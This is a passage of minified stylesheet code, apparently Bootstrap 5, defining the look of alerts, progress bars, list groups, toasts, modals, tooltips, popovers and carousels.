var(--bs-alert-padding-x);margin-bottom:var(--bs-alert-margin-bottom);color:var(--bs-alert-color);background-color:var(--bs-alert-bg);border:var(--bs-alert-border);border-radius:var(--bs-alert-border-radius)}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:3rem}.alert-dismissible .btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}.alert-primary{--bs-alert-color:#084298;--bs-alert-bg:#cfe2ff;--bs-alert-border-color:#b6d4fe}.alert-primary .alert-link{color:#06357a}.alert-secondary{--bs-alert-color:#41464b;--bs-alert-bg:#e2e3e5;--bs-alert-border-color:#d3d6d8}.alert-secondary .alert-link{color:#34383c}.alert-success{--bs-alert-color:#0f5132;--bs-alert-bg:#d1e7dd;--bs-alert-border-color:#badbcc}.alert-success .alert-link{color:#0c4128}.alert-info{--bs-alert-color:#055160;--bs-alert-bg:#cff4fc;--bs-alert-border-color:#b6effb}.alert-info .alert-link{color:#04414d}.alert-warning{--bs-alert-color:#664d03;--bs-alert-bg:#fff3cd;--bs-alert-border-color:#ffecb5}.alert-warning .alert-link{color:#523e02}.alert-danger{--bs-alert-color:#842029;--bs-alert-bg:#f8d7da;--bs-alert-border-color:#f5c2c7}.alert-danger .alert-link{color:#6a1a21}.alert-light{--bs-alert-color:#636464;--bs-alert-bg:#fefefe;--bs-alert-border-color:#fdfdfe}.alert-light .alert-link{color:#4f5050}.alert-dark{--bs-alert-color:#141619;--bs-alert-bg:#d3d3d4;--bs-alert-border-color:#bcbebf}.alert-dark .alert-link{color:#101214}@keyframes progress-bar-stripes{0%{background-position-x:1rem}}.progress{--bs-progress-height:1rem;--bs-progress-font-size:0.75rem;--bs-progress-bg:#e9ecef;--bs-progress-border-radius:0.375rem;--bs-progress-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-progress-bar-color:#fff;--bs-progress-bar-bg:#0d6efd;--bs-progress-bar-transition:width 0.6s ease;display:flex;height:var(--bs-progress-height);overflow:hidden;font-size:var(--bs-progress-font-size);background-color:var(--bs-progress-bg);border-radius:var(--bs-progress-border-radius)}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:var(--bs-progress-bar-color);text-align:center;white-space:nowrap;background-color:var(--bs-progress-bar-bg);transition:var(--bs-progress-bar-transition)}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:var(--bs-progress-height) var(--bs-progress-height)}.progress-bar-animated{animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{animation:none}}.list-group{--bs-list-group-color:#212529;--bs-list-group-bg:#fff;--bs-list-group-border-color:rgba(0, 0, 0, 0.125);--bs-list-group-border-width:1px;--bs-list-group-border-radius:0.375rem;--bs-list-group-item-padding-x:1rem;--bs-list-group-item-padding-y:0.5rem;--bs-list-group-action-color:#495057;--bs-list-group-action-hover-color:#495057;--bs-list-group-action-hover-bg:#f8f9fa;--bs-list-group-action-active-color:#212529;--bs-list-group-action-active-bg:#e9ecef;--bs-list-group-disabled-color:#6c757d;--bs-list-group-disabled-bg:#fff;--bs-list-group-active-color:#fff;--bs-list-group-active-bg:#0d6efd;--bs-list-group-active-border-color:#0d6efd;display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:var(--bs-list-group-border-radius)}.list-group-numbered{list-style-type:none;counter-reset:section}.list-group-numbered>.list-group-item::before{content:counters(section, ".") ". ";counter-increment:section}.list-group-item-action{width:100%;color:var(--bs-list-group-action-color);text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:var(--bs-list-group-action-hover-color);text-decoration:none;background-color:var(--bs-list-group-action-hover-bg)}.list-group-item-action:active{color:var(--bs-list-group-action-active-color);background-color:var(--bs-list-group-action-active-bg)}.list-group-item{position:relative;display:block;padding:var(--bs-list-group-item-padding-y) var(--bs-list-group-item-padding-x);color:var(--bs-list-group-color);text-decoration:none;background-color:var(--bs-list-group-bg);border:var(--bs-list-group-border-width) solid var(--bs-list-group-border-color)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:var(--bs-list-group-disabled-color);pointer-events:none;background-color:var(--bs-list-group-disabled-bg)}.list-group-item.active{z-index:2;color:var(--bs-list-group-active-color);background-color:var(--bs-list-group-active-bg);border-color:var(--bs-list-group-active-border-color)}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:calc(-1 * var(--bs-list-group-border-width));border-top-width:var(--bs-list-group-border-width)}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1400px){.list-group-horizontal-xxl{flex-direction:row}.list-group-horizontal-xxl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xxl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xxl>.list-group-item.active{margin-top:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 var(--bs-list-group-border-width)}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#084298;background-color:#cfe2ff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#084298;background-color:#bacbe6}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#084298;border-color:#084298}.list-group-item-secondary{color:#41464b;background-color:#e2e3e5}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#41464b;background-color:#cbccce}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#41464b;border-color:#41464b}.list-group-item-success{color:#0f5132;background-color:#d1e7dd}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#0f5132;background-color:#bcd0c7}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#0f5132;border-color:#0f5132}.list-group-item-info{color:#055160;background-color:#cff4fc}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#055160;background-color:#badce3}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#055160;border-color:#055160}.list-group-item-warning{color:#664d03;background-color:#fff3cd}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#664d03;background-color:#e6dbb9}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#664d03;border-color:#664d03}.list-group-item-danger{color:#842029;background-color:#f8d7da}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#842029;background-color:#dfc2c4}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#842029;border-color:#842029}.list-group-item-light{color:#636464;background-color:#fefefe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#636464;background-color:#e5e5e5}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#636464;border-color:#636464}.list-group-item-dark{color:#141619;background-color:#d3d3d4}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#141619;background-color:#bebebf}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#141619;border-color:#141619}.btn-close{box-sizing:content-box;width:1em;height:1em;padding:.25em .25em;color:#000;background:transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23000'%3e%3cpath d='M.293.293a1 1 0 0 1 1.414 0L8 6.586 14.293.293a1 1 0 1 1 1.414 1.414L9.414 8l6.293 6.293a1 1 0 0 1-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 0 1-1.414-1.414L6.586 8 .293 1.707a1 1 0 0 1 0-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat;border:0;border-radius:.375rem;opacity:.5}.btn-close:hover{color:#000;text-decoration:none;opacity:.75}.btn-close:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25);opacity:1}.btn-close.disabled,.btn-close:disabled{pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;opacity:.25}.btn-close-white{filter:invert(1) grayscale(100%) brightness(200%)}.toast{--bs-toast-zindex:1090;--bs-toast-padding-x:0.75rem;--bs-toast-padding-y:0.5rem;--bs-toast-spacing:1.5rem;--bs-toast-max-width:350px;--bs-toast-font-size:0.875rem;--bs-toast-color: ;--bs-toast-bg:rgba(255, 255, 255, 0.85);--bs-toast-border-width:1px;--bs-toast-border-color:var(--bs-border-color-translucent);--bs-toast-border-radius:0.375rem;--bs-toast-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-toast-header-color:#6c757d;--bs-toast-header-bg:rgba(255, 255, 255, 0.85);--bs-toast-header-border-color:rgba(0, 0, 0, 0.05);width:var(--bs-toast-max-width);max-width:100%;font-size:var(--bs-toast-font-size);color:var(--bs-toast-color);pointer-events:auto;background-color:var(--bs-toast-bg);background-clip:padding-box;border:var(--bs-toast-border-width) solid var(--bs-toast-border-color);box-shadow:var(--bs-toast-box-shadow);border-radius:var(--bs-toast-border-radius)}.toast.showing{opacity:0}.toast:not(.show){display:none}.toast-container{--bs-toast-zindex:1090;position:absolute;z-index:var(--bs-toast-zindex);width:-webkit-max-content;width:-moz-max-content;width:max-content;max-width:100%;pointer-events:none}.toast-container>:not(:last-child){margin-bottom:var(--bs-toast-spacing)}.toast-header{display:flex;align-items:center;padding:var(--bs-toast-padding-y) var(--bs-toast-padding-x);color:var(--bs-toast-header-color);background-color:var(--bs-toast-header-bg);background-clip:padding-box;border-bottom:var(--bs-toast-border-width) solid var(--bs-toast-header-border-color);border-top-left-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width));border-top-right-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width))}.toast-header .btn-close{margin-right:calc(-.5 * var(--bs-toast-padding-x));margin-left:var(--bs-toast-padding-x)}.toast-body{padding:var(--bs-toast-padding-x);word-wrap:break-word}.modal{--bs-modal-zindex:1055;--bs-modal-width:500px;--bs-modal-padding:1rem;--bs-modal-margin:0.5rem;--bs-modal-color: ;--bs-modal-bg:#fff;--bs-modal-border-color:var(--bs-border-color-translucent);--bs-modal-border-width:1px;--bs-modal-border-radius:0.5rem;--bs-modal-box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-modal-inner-border-radius:calc(0.5rem - 1px);--bs-modal-header-padding-x:1rem;--bs-modal-header-padding-y:1rem;--bs-modal-header-padding:1rem 1rem;--bs-modal-header-border-color:var(--bs-border-color);--bs-modal-header-border-width:1px;--bs-modal-title-line-height:1.5;--bs-modal-footer-gap:0.5rem;--bs-modal-footer-bg: ;--bs-modal-footer-border-color:var(--bs-border-color);--bs-modal-footer-border-width:1px;position:fixed;top:0;left:0;z-index:var(--bs-modal-zindex);display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}.modal-dialog{position:relative;width:auto;margin:var(--bs-modal-margin);pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{height:calc(100% - var(--bs-modal-margin) * 2)}.modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - var(--bs-modal-margin) * 2)}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;color:var(--bs-modal-color);pointer-events:auto;background-color:var(--bs-modal-bg);background-clip:padding-box;border:var(--bs-modal-border-width) solid var(--bs-modal-border-color);border-radius:var(--bs-modal-border-radius);outline:0}.modal-backdrop{--bs-backdrop-zindex:1050;--bs-backdrop-bg:#000;--bs-backdrop-opacity:0.5;position:fixed;top:0;left:0;z-index:var(--bs-backdrop-zindex);width:100vw;height:100vh;background-color:var(--bs-backdrop-bg)}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:var(--bs-backdrop-opacity)}.modal-header{display:flex;flex-shrink:0;align-items:center;justify-content:space-between;padding:var(--bs-modal-header-padding);border-bottom:var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color);border-top-left-radius:var(--bs-modal-inner-border-radius);border-top-right-radius:var(--bs-modal-inner-border-radius)}.modal-header .btn-close{padding:calc(var(--bs-modal-header-padding-y) * .5) calc(var(--bs-modal-header-padding-x) * .5);margin:calc(-.5 * var(--bs-modal-header-padding-y)) calc(-.5 * var(--bs-modal-header-padding-x)) calc(-.5 * var(--bs-modal-header-padding-y)) auto}.modal-title{margin-bottom:0;line-height:var(--bs-modal-title-line-height)}.modal-body{position:relative;flex:1 1 auto;padding:var(--bs-modal-padding)}.modal-footer{display:flex;flex-shrink:0;flex-wrap:wrap;align-items:center;justify-content:flex-end;padding:calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap) * .5);background-color:var(--bs-modal-footer-bg);border-top:var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color);border-bottom-right-radius:var(--bs-modal-inner-border-radius);border-bottom-left-radius:var(--bs-modal-inner-border-radius)}.modal-footer>*{margin:calc(var(--bs-modal-footer-gap) * .5)}@media (min-width:576px){.modal{--bs-modal-margin:1.75rem;--bs-modal-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15)}.modal-dialog{max-width:var(--bs-modal-width);margin-right:auto;margin-left:auto}.modal-sm{--bs-modal-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{--bs-modal-width:800px}}@media (min-width:1200px){.modal-xl{--bs-modal-width:1140px}}.modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen .modal-footer,.modal-fullscreen .modal-header{border-radius:0}.modal-fullscreen .modal-body{overflow-y:auto}@media (max-width:575.98px){.modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-sm-down .modal-footer,.modal-fullscreen-sm-down .modal-header{border-radius:0}.modal-fullscreen-sm-down .modal-body{overflow-y:auto}}@media (max-width:767.98px){.modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-md-down .modal-footer,.modal-fullscreen-md-down .modal-header{border-radius:0}.modal-fullscreen-md-down .modal-body{overflow-y:auto}}@media (max-width:991.98px){.modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-lg-down .modal-footer,.modal-fullscreen-lg-down .modal-header{border-radius:0}.modal-fullscreen-lg-down .modal-body{overflow-y:auto}}@media (max-width:1199.98px){.modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xl-down .modal-footer,.modal-fullscreen-xl-down .modal-header{border-radius:0}.modal-fullscreen-xl-down .modal-body{overflow-y:auto}}@media (max-width:1399.98px){.modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xxl-down .modal-footer,.modal-fullscreen-xxl-down .modal-header{border-radius:0}.modal-fullscreen-xxl-down .modal-body{overflow-y:auto}}.tooltip{--bs-tooltip-zindex:1080;--bs-tooltip-max-width:200px;--bs-tooltip-padding-x:0.5rem;--bs-tooltip-padding-y:0.25rem;--bs-tooltip-margin: ;--bs-tooltip-font-size:0.875rem;--bs-tooltip-color:#fff;--bs-tooltip-bg:#000;--bs-tooltip-border-radius:0.375rem;--bs-tooltip-opacity:0.9;--bs-tooltip-arrow-width:0.8rem;--bs-tooltip-arrow-height:0.4rem;z-index:var(--bs-tooltip-zindex);display:block;padding:var(--bs-tooltip-arrow-height);margin:var(--bs-tooltip-margin);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-tooltip-font-size);word-wrap:break-word;opacity:0}.tooltip.show{opacity:var(--bs-tooltip-opacity)}.tooltip .tooltip-arrow{display:block;width:var(--bs-tooltip-arrow-width);height:var(--bs-tooltip-arrow-height)}.tooltip .tooltip-arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow,.bs-tooltip-top .tooltip-arrow{bottom:0}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow::before,.bs-tooltip-top .tooltip-arrow::before{top:-1px;border-width:var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-top-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow,.bs-tooltip-end .tooltip-arrow{left:0;width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow::before,.bs-tooltip-end .tooltip-arrow::before{right:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-right-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow,.bs-tooltip-bottom .tooltip-arrow{top:0}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow::before,.bs-tooltip-bottom .tooltip-arrow::before{bottom:-1px;border-width:0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-bottom-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow,.bs-tooltip-start .tooltip-arrow{right:0;width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow::before,.bs-tooltip-start .tooltip-arrow::before{left:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-left-color:var(--bs-tooltip-bg)}.tooltip-inner{max-width:var(--bs-tooltip-max-width);padding:var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x);color:var(--bs-tooltip-color);text-align:center;background-color:var(--bs-tooltip-bg);border-radius:var(--bs-tooltip-border-radius)}.popover{--bs-popover-zindex:1070;--bs-popover-max-width:276px;--bs-popover-font-size:0.875rem;--bs-popover-bg:#fff;--bs-popover-border-width:1px;--bs-popover-border-color:var(--bs-border-color-translucent);--bs-popover-border-radius:0.5rem;--bs-popover-inner-border-radius:calc(0.5rem - 1px);--bs-popover-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-popover-header-padding-x:1rem;--bs-popover-header-padding-y:0.5rem;--bs-popover-header-font-size:1rem;--bs-popover-header-color: ;--bs-popover-header-bg:#f0f0f0;--bs-popover-body-padding-x:1rem;--bs-popover-body-padding-y:1rem;--bs-popover-body-color:#212529;--bs-popover-arrow-width:1rem;--bs-popover-arrow-height:0.5rem;--bs-popover-arrow-border:var(--bs-popover-border-color);z-index:var(--bs-popover-zindex);display:block;max-width:var(--bs-popover-max-width);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-popover-font-size);word-wrap:break-word;background-color:var(--bs-popover-bg);background-clip:padding-box;border:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-radius:var(--bs-popover-border-radius)}.popover .popover-arrow{display:block;width:var(--bs-popover-arrow-width);height:var(--bs-popover-arrow-height)}.popover .popover-arrow::after,.popover .popover-arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid;border-width:0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow,.bs-popover-top>.popover-arrow{bottom:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::after,.bs-popover-top>.popover-arrow::before{border-width:var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::before{bottom:0;border-top-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-top>.popover-arrow::after{bottom:var(--bs-popover-border-width);border-top-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow,.bs-popover-end>.popover-arrow{left:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::after,.bs-popover-end>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::before{left:0;border-right-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-end>.popover-arrow::after{left:var(--bs-popover-border-width);border-right-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow,.bs-popover-bottom>.popover-arrow{top:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::before{border-width:0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::before{top:0;border-bottom-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::after{top:var(--bs-popover-border-width);border-bottom-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:var(--bs-popover-arrow-width);margin-left:calc(-.5 * var(--bs-popover-arrow-width));content:"";border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-header-bg)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow,.bs-popover-start>.popover-arrow{right:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::after,.bs-popover-start>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::before{right:0;border-left-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-start>.popover-arrow::after{right:var(--bs-popover-border-width);border-left-color:var(--bs-popover-bg)}.popover-header{padding:var(--bs-popover-header-padding-y) var(--bs-popover-header-padding-x);margin-bottom:0;font-size:var(--bs-popover-header-font-size);color:var(--bs-popover-header-color);background-color:var(--bs-popover-header-bg);border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-top-left-radius:var(--bs-popover-inner-border-radius);border-top-right-radius:var(--bs-popover-inner-border-radius)}.popover-header:empty{display:none}.popover-body{padding:var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x);color:var(--bs-popover-body-color)}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-end,.carousel-item-next:not(.carousel-item-start){transform:translateX(100%)}.active.carousel-item-start,.carousel-item-prev:not(.carousel-item-end){transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item-next.carousel-item-start,.carousel-fade .carousel-item-prev.carousel-item-end,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media 